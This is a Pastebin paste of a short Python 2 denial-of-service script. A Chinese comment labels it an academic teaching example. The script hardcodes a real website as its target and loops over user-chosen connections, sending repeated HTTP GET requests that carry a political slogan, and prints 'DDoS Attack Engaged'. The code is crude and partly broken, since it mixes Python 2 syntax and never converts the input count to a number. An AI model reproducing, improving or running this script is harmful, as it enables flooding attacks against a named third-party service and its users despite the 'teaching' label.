Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- # 純學術教學用途:簡易 python DDOS 範例
- import time, socket, os, sys, string
- print ("DDoS mode loaded")
- host='www.nhaccuatui.com'
- port=80
- message="#Philippine is murder. "
- conn=input( "How many connections you want to make:" )
- ip = socket.gethostbyname( host )
- def dos():
- ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- ddos.connect((host, 80))
- ddos.send( "GET /%s HTTP/1.1\r\n" % message )
- ddos.sendto( "GET /%s HTTP/1.1\r\n" % message, (ip, port) )
- ddos.send( "GET /%s HTTP/1.1\r\n" % message )
- except socket.error, msg:
- print("|[Connection Failed] |")
- print ( "|[DDoS Attack Engaged] |")
- ddos.close()
- for i in xrange(conn):
- dos()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement